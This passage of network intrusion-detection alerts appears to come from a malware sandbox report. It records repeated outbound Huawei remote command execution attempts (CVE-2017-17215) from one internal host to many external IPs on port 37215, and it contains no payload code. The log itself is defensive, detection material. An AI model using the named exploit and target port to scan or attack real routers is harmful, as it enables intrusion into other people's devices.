Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.149.145

Timestamp:	192.168.2.1394.121.149.14546400372152835222 01/01/24-12:52:45.782939
SID:	2835222
Source Port:	46400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 160.181.183.93

Timestamp:	192.168.2.13160.181.183.9346656372152835222 01/01/24-12:53:13.745197
SID:	2835222
Source Port:	46656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.247.28.246

Timestamp:	192.168.2.13156.247.28.24658812372152835222 01/01/24-12:54:49.828885
SID:	2835222
Source Port:	58812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.119.7

Timestamp:	192.168.2.13156.241.119.747944372152835222 01/01/24-12:54:41.115680
SID:	2835222
Source Port:	47944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 92.95.231.79

Timestamp:	192.168.2.1392.95.231.7957890372152829579 01/01/24-12:52:45.258388
SID:	2829579
Source Port:	57890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.125.49

Timestamp:	192.168.2.13156.241.125.4954422372152829579 01/01/24-12:54:56.781851
SID:	2829579
Source Port:	54422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.67.15

Timestamp:	192.168.2.13156.241.67.1551416372152829579 01/01/24-12:53:51.494929
SID:	2829579
Source Port:	51416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.97.16

Timestamp:	192.168.2.13156.241.97.1634092372152829579 01/01/24-12:54:13.901820
SID:	2829579
Source Port:	34092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.253.41.134

Timestamp:	192.168.2.13156.253.41.13455482372152835222 01/01/24-12:52:28.994949
SID:	2835222
Source Port:	55482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.247.30.143

Timestamp:	192.168.2.13156.247.30.14344172372152835222 01/01/24-12:53:42.559872
SID:	2835222
Source Port:	44172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.92.88

Timestamp:	192.168.2.13156.241.92.8849034372152829579 01/01/24-12:53:22.862694
SID:	2829579
Source Port:	49034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.9.142

Timestamp:	192.168.2.13156.241.9.14238470372152835222 01/01/24-12:52:46.370179
SID:	2835222
Source Port:	38470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.247.23.28

Timestamp:	192.168.2.13156.247.23.2845730372152829579 01/01/24-12:54:56.765096
SID:	2829579
Source Port:	45730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.21.61

Timestamp:	192.168.2.1394.121.21.6138540372152835222 01/01/24-12:54:57.043353
SID:	2835222
Source Port:	38540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.101.6

Timestamp:	192.168.2.13156.241.101.658258372152835222 01/01/24-12:53:51.185772
SID:	2835222
Source Port:	58258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.67.15

Timestamp:	192.168.2.13156.241.67.1551416372152835222 01/01/24-12:53:51.494929
SID:	2835222
Source Port:	51416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.74.161

Timestamp:	192.168.2.13156.254.74.16148284372152829579 01/01/24-12:52:33.774769
SID:	2829579
Source Port:	48284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.86.122

Timestamp:	192.168.2.13156.254.86.12249352372152835222 01/01/24-12:54:56.778901
SID:	2835222
Source Port:	49352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.21.61

Timestamp:	192.168.2.1394.121.21.6138540372152829579 01/01/24-12:54:57.043353
SID:	2829579
Source Port:	38540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 92.95.231.79

Timestamp:	192.168.2.1392.95.231.7957890372152835222 01/01/24-12:52:45.258388
SID:	2835222
Source Port:	57890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.67.112

Timestamp:	192.168.2.13156.254.67.11236964372152829579 01/01/24-12:52:21.418780
SID:	2829579
Source Port:	36964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.107.38

Timestamp:	192.168.2.13156.254.107.3850918372152829579 01/01/24-12:55:08.201166
SID:	2829579
Source Port:	50918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.120.140

Timestamp:	192.168.2.13156.241.120.14052438372152835222 01/01/24-12:52:21.710115
SID:	2835222
Source Port:	52438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 160.181.168.106

Timestamp:	192.168.2.13160.181.168.10648006372152835222 01/01/24-12:55:04.583358
SID:	2835222
Source Port:	48006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.9.142

Timestamp:	192.168.2.13156.241.9.14238470372152829579 01/01/24-12:52:46.370179
SID:	2829579
Source Port:	38470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.66.255

Timestamp:	192.168.2.13156.254.66.25533620372152829579 01/01/24-12:54:40.810216
SID:	2829579
Source Port:	33620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.247.23.28

Timestamp:	192.168.2.13156.247.23.2845730372152835222 01/01/24-12:54:56.765096
SID:	2835222
Source Port:	45730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 160.181.183.93

Timestamp:	192.168.2.13160.181.183.9346656372152829579 01/01/24-12:53:13.745197
SID:	2829579
Source Port:	46656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.86.122

Timestamp:	192.168.2.13156.254.86.12249352372152829579 01/01/24-12:54:56.778901
SID:	2829579
Source Port:	49352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.85.239

Timestamp:	192.168.2.13156.254.85.23959312372152835222 01/01/24-12:55:04.208724
SID:	2835222
Source Port:	59312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 95.86.117.19

Timestamp:	192.168.2.1395.86.117.1940884372152835222 01/01/24-12:53:04.866770
SID:	2835222
Source Port:	40884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.14.212

Timestamp:	192.168.2.13156.241.14.21240844372152835222 01/01/24-12:53:16.369690
SID:	2835222
Source Port:	40844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.247.18.169

Timestamp:	192.168.2.13156.247.18.16952830372152829579 01/01/24-12:54:25.048931
SID:	2829579
Source Port:	52830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.253.42.94

Timestamp:	192.168.2.13156.253.42.9441588372152829579 01/01/24-12:53:09.798869
SID:	2829579
Source Port:	41588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.161.36

Timestamp:	192.168.2.1394.120.161.3657624372152829579 01/01/24-12:53:25.184343
SID:	2829579
Source Port:	57624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.86.49

Timestamp:	192.168.2.13156.241.86.4935268372152835222 01/01/24-12:52:55.971371
SID:	2835222
Source Port:	35268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.247.18.169

Timestamp:	192.168.2.13156.247.18.16952830372152835222 01/01/24-12:54:25.048931
SID:	2835222
Source Port:	52830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 122.228.242.29

Timestamp:	192.168.2.13122.228.242.2940964372152829579 01/01/24-12:53:31.489170
SID:	2829579
Source Port:	40964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.194.133.67

Timestamp:	192.168.2.13154.194.133.6747146372152835222 01/01/24-12:52:22.737654
SID:	2835222
Source Port:	47146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.10.238

Timestamp:	192.168.2.13156.224.10.23846496372152835222 01/01/24-12:54:43.304834
SID:	2835222
Source Port:	46496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.253.42.94

Timestamp:	192.168.2.13156.253.42.9441588372152835222 01/01/24-12:53:09.798869
SID:	2835222
Source Port:	41588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.86.49

Timestamp:	192.168.2.13156.241.86.4935268372152829579 01/01/24-12:52:55.971371
SID:	2829579
Source Port:	35268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 160.181.168.106

Timestamp:	192.168.2.13160.181.168.10648006372152829579 01/01/24-12:55:04.583358
SID:	2829579
Source Port:	48006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.81.10

Timestamp:	192.168.2.13156.254.81.1040782372152829579 01/01/24-12:53:21.832908
SID:	2829579
Source Port:	40782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.253.32.91

Timestamp:	192.168.2.13156.253.32.9139366372152829579 01/01/24-12:54:22.408029
SID:	2829579
Source Port:	39366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.161.36

Timestamp:	192.168.2.1394.120.161.3657624372152835222 01/01/24-12:53:25.184343
SID:	2835222
Source Port:	57624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.47.106.231

Timestamp:	192.168.2.1341.47.106.23152674372152829579 01/01/24-12:53:54.148061
SID:	2829579
Source Port:	52674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 122.228.242.29

Timestamp:	192.168.2.13122.228.242.2940964372152835222 01/01/24-12:53:31.489170
SID:	2835222
Source Port:	40964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.108.19

Timestamp:	192.168.2.13156.254.108.1939188372152835222 01/01/24-12:53:37.908340
SID:	2835222
Source Port:	39188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.244.197

Timestamp:	192.168.2.1394.120.244.19755182372152835222 01/01/24-12:55:15.190512
SID:	2835222
Source Port:	55182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.91.192

Timestamp:	192.168.2.13156.241.91.19248402372152829579 01/01/24-12:52:53.339735
SID:	2829579
Source Port:	48402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.194.133.67

Timestamp:	192.168.2.13154.194.133.6747146372152829579 01/01/24-12:52:22.737654
SID:	2829579
Source Port:	47146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.47.106.231

Timestamp:	192.168.2.1341.47.106.23152674372152835222 01/01/24-12:53:54.148061
SID:	2835222
Source Port:	52674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.92.88

Timestamp:	192.168.2.13156.241.92.8849034372152835222 01/01/24-12:53:22.862694
SID:	2835222
Source Port:	49034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.67.180

Timestamp:	192.168.2.13156.254.67.18037036372152835222 01/01/24-12:55:15.780393
SID:	2835222
Source Port:	37036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 95.86.117.19

Timestamp:	192.168.2.1395.86.117.1940884372152829579 01/01/24-12:53:04.866770
SID:	2829579
Source Port:	40884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.14.212

Timestamp:	192.168.2.13156.241.14.21240844372152829579 01/01/24-12:53:16.369690
SID:	2829579
Source Port:	40844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.120.147.144

Timestamp:	192.168.2.1394.120.147.14459994372152829579 01/01/24-12:52:21.987732
SID:	2829579
Source Port:	59994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.10.104

Timestamp:	192.168.2.13156.241.10.10452170372152829579 01/01/24-12:53:42.559944
SID:	2829579
Source Port:	52170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.247.29.104

Timestamp:	192.168.2.13156.247.29.10456828372152829579 01/01/24-12:54:30.972435
SID:	2829579
Source Port:	56828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.111.167

Timestamp:	192.168.2.13156.254.111.16756186372152835222 01/01/24-12:53:35.339536
SID:	2835222
Source Port:	56186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.247.29.146

Timestamp:	192.168.2.13156.247.29.14646856372152835222 01/01/24-12:54:24.746893
SID:	2835222
Source Port:	46856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.201.25.255

Timestamp:	192.168.2.13154.201.25.25560540372152835222 01/01/24-12:52:21.418776
SID:	2835222
Source Port:	60540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.95.195

Timestamp:	192.168.2.13156.254.95.19538940372152829579 01/01/24-12:52:20.403824
SID:	2829579
Source Port:	38940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.247.29.104

Timestamp:	192.168.2.13156.247.29.10456828372152835222 01/01/24-12:54:30.972435
SID:	2835222
Source Port:	56828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.89.197

Timestamp:	192.168.2.13156.254.89.19738754372152835222 01/01/24-12:52:26.390386
SID:	2835222
Source Port:	38754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.194.177.210

Timestamp:	192.168.2.13154.194.177.21049916372152829579 01/01/24-12:52:55.666045
SID:	2829579
Source Port:	49916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.125.49

Timestamp:	192.168.2.13156.241.125.4954422372152835222 01/01/24-12:54:56.781851
SID:	2835222
Source Port:	54422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.194.158.236

Timestamp:	192.168.2.13154.194.158.23637086372152835222 01/01/24-12:52:22.737615
SID:	2835222
Source Port:	37086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.105.154

Timestamp:	192.168.2.13156.254.105.15453418372152829579 01/01/24-12:55:03.600018
SID:	2829579
Source Port:	53418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.201.25.255

Timestamp:	192.168.2.13154.201.25.25560540372152829579 01/01/24-12:52:21.418776
SID:	2829579
Source Port:	60540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.10.238

Timestamp:	192.168.2.13156.224.10.23846496372152829579 01/01/24-12:54:43.304834
SID:	2829579
Source Port:	46496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.224.9.192

Timestamp:	192.168.2.13156.224.9.19249256372152829579 01/01/24-12:54:59.642313
SID:	2829579
Source Port:	49256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.97.16

Timestamp:	192.168.2.13156.241.97.1634092372152835222 01/01/24-12:54:13.901820
SID:	2835222
Source Port:	34092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.77.135.37

Timestamp:	192.168.2.13156.77.135.3733324372152835222 01/01/24-12:54:27.187725
SID:	2835222
Source Port:	33324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.105.154

Timestamp:	192.168.2.13156.254.105.15453418372152835222 01/01/24-12:55:03.600018
SID:	2835222
Source Port:	53418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.67.180

Timestamp:	192.168.2.13156.254.67.18037036372152829579 01/01/24-12:55:15.780393
SID:	2829579
Source Port:	37036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.81.10

Timestamp:	192.168.2.13156.254.81.1040782372152835222 01/01/24-12:53:21.832908
SID:	2835222
Source Port:	40782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.194.158.236

Timestamp:	192.168.2.13154.194.158.23637086372152829579 01/01/24-12:52:22.737615
SID:	2829579
Source Port:	37086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.194.177.210

Timestamp:	192.168.2.13154.194.177.21049916372152835222 01/01/24-12:52:55.666045
SID:	2835222
Source Port:	49916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.10.104

Timestamp:	192.168.2.13156.241.10.10452170372152835222 01/01/24-12:53:42.559944
SID:	2835222
Source Port:	52170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.91.192

Timestamp:	192.168.2.13156.241.91.19248402372152835222 01/01/24-12:52:53.339735
SID:	2835222
Source Port:	48402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.254.95.195

Timestamp:	192.168.2.13156.254.95.19538940372152835222 01/01/24-12:52:20.403824
SID:	2835222
Source Port:	38940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.183.47

Timestamp:	192.168.2.1394.121.183.4747418372152829579 01/01/24-12:52:28.700931
SID:	2829579
Source Port:	47418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.121.217.135

Timestamp:	192.168.2.1394.121.217.13540196372152835222 01/01/24-12:53:31.723234
SID:	2835222
Source Port:	40196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 95.86.74.133

Timestamp:	192.168.2.1395.86.74.13336632372152835222 01/01/24-12:53:05.160771
SID:	2835222
Source Port:	36632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.194.156.9

Timestamp:	192.168.2.13154.194.156.944364372152829579 01/01/24-12:53:37.913940
SID:	2829579
Source Port:	44364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 154.38.240.217

Timestamp:	192.168.2.13154.38.240.21750598372152829579 01/01/24-12:52:32.467253
SID:	2829579
Source Port:	50598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 122.114.75.214

Timestamp:	192.168.2.13122.114.75.21451586372152829579 01/01/24-12:54:47.147031
SID:	2829579
Source Port:	51586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.241.117.127

Timestamp:	192.168.2.13156.241.117.12742554372152829579 01/01/24-12:53:38.215786
SID:	2829579
Source Port:	42554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

